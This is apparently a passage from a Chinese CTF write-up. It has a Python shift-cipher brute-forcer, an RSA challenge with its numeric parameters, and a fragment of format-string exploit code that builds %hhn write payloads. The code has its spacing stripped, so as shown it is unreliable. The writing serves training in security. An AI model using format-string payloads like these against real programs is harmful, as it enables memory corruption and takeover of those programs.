defencode(self,text,num): entext='' if self.Type==1: for i inrange(0,len(text)): if text[i].isupper(): decup=(ord(text[i])-65+num)%26 entext+=chr(decup+65) elif text[i].islower(): decup=(ord(text[i])-97+num)%26 entext+=chr(decup+97) else: entext+=text[i] self.entext=entext elif self.Type==2: for i inrange(0,len(text)): if text[i].isnumeric(): decup=(ord(text[i])-0x30+num)%10 entext+=chr(decup+0x30) else: entext+=text[i] self.entext=entext elif self.Type==3: for i inrange(0,len(text)): if text[i].isupper(): decup=(ord(text[i])-65+num)%26 entext+=chr(decup+65) elif text[i].islower(): decup=(ord(text[i])-97+num)%26 entext+=chr(decup+97) elif text[i].isnumeric(): decup=(ord(text[i])-0x30+num)%10 entext+=chr(decup+0x30) else: entext+=text[i] self.entext=entext elif self.Type==4: for i inrange(0,len(text)): decup=(ord(text[i])-0x30+num)%128 entext+=chr(decup) self.entext=entext return self.entext defdecode(self,text,num=0): detext='' self.delist=[] self.detext='' if self.Type==1: for j inrange(num%26,26): detext='' for i inrange(0,len(text)): if text[i].isupper(): decup=(ord(text[i])-65+j)%26 detext+=chr(decup+65) elif text[i].islower(): decup=(ord(text[i])-97+j)%26 detext+=chr(decup+97) else: detext+=text[i] self.delist.append(detext) if num: self.detext=detext elif self.Type==2: for j inrange(num%10,10): detext='' for i inrange(0,len(text)): if text[i].isnumeric(): decup=(ord(text[i])-0x30+j)%10 detext+=chr(decup+0x30) else: detext+=text[i] self.delist.append(detext) if num: self.detext=detext elif self.Type==3: for j inrange(num%26,26): for k inrange(num%10,10): detext='' for i inrange(0,len(text)): if text[i].isupper(): decup=(ord(text[i])-65+j)%26 detext+=chr(decup+65) elif text[i].islower(): decup=(ord(text[i])-97+j)%26 detext+=chr(decup+97) elif text[i].isnumeric(): decup=(ord(text[i])-0x30+k)%10 detext+=chr(decup+0x30) else: detext+=text[i] self.delist.append(detext) if num: self.detext=detext; elif self.Type==4: for j inrange(num%128,128): detext='' for i inrange(0,len(text)): decup=(ord(text[i])-128+j)%128 detext+=chr(decup) self.delist.append(detext) if num: self.detext=detext iflen(self.detext): return self.detext iflen(self.delist): return self.delist
两次base64得到flag
Crypto-3
先分解n
e和phi不互素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import gmpy2
n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311 e = 180 c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559 q = 149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527 p = 149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993
for i inrange(0,len(a)): if i>0: payload+='%'+str(a[i]-a[i-1])+'c%'+str(28+i)+'$hhn' else: payload+='%'+str(a[i])+'c%'+str(28+i)+'$hhn' n=n+1 print(hex(len(payload))) payload=payload.ljust(0xa0,'a')